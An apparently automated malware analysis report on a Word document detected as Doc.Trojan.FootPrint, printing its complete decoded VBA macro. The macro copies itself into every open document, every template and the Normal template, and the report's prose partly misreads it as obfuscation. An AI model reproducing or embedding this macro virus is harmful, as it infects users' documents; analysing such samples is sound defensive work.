Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d7c7b4fa3c191199…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-01-05 14:13:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5523bfafd2d22c44e04e1ab907c0b15e SHA-1: 9bd4af16feb835b24e6b733931be8f0bf66ebbd3 SHA-256: d7c7b4fa3c191199f6715b1774cbb9a5fcff0f50830df65c7bb9169fc8ffad5f
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a critical ClamAV detection for 'Doc.Trojan.FootPrint-4' and 'Doc.Trojan.FootPrint-1', indicating a known malicious document. The presence of a Document_Open macro and embedded VBA code strongly suggests an attempt to automatically execute malicious actions when the document is opened. The VBA script attempts to export its own code to temporary files and then re-import it, likely as part of a obfuscation or execution mechanism for a secondary payload.

Heuristics 3

  • ClamAV: Doc.Trojan.FootPrint-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FootPrint-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1860 bytes
SHA-256: 2b19109dccba659e6d47289d19d3dab8b936aeb6fa39774e8da7ae114177322b
Detection
ClamAV: Doc.Trojan.FootPrint-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_New()
Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Dim al As String
Dim adoc As Document
Dim atpl As Template
Dim CoL As Integer
ThisDocument.VBProject.VBComponents("ThisDocument").Export "c:\footprint.$$$"
Open "c:\footprint.$$$" For Input As #1
Open "c:\footprint.$$1" For Output As #2
Line Input #1, al
Line Input #1, al
Line Input #1, al
Line Input #1, al
While Not EOF(1)
    Line Input #1, al
    Print #2, al
Wend
Close 1
Close 2
For Each adoc In Documents
    adoc.Sections(1).Footers(wdHeaderFooterPrimary).Range.Text = adoc.FullName
    If Not adoc.CustomDocumentProperties("FootPrint1") Then
        adoc.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = adoc.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        adoc.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
For Each atpl In Templates
    If Not atpl.CustomDocumentProperties("FootPrint1") Then
        atpl.CustomDocumentProperties.Add Name:="FootPrint1", LinkToContent:=False, Value:=True, Type:=msoPropertyTypeBoolean
        CoL = atpl.VBProject.VBComponents("ThisDocument").CodeModule.CountOfLines
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.DeleteLines 1, CoL
        atpl.VBProject.VBComponents("ThisDocument").CodeModule.AddFromFile "c:\footprint.$$1"
    End If
Next
NormalTemplate.Save
End Sub

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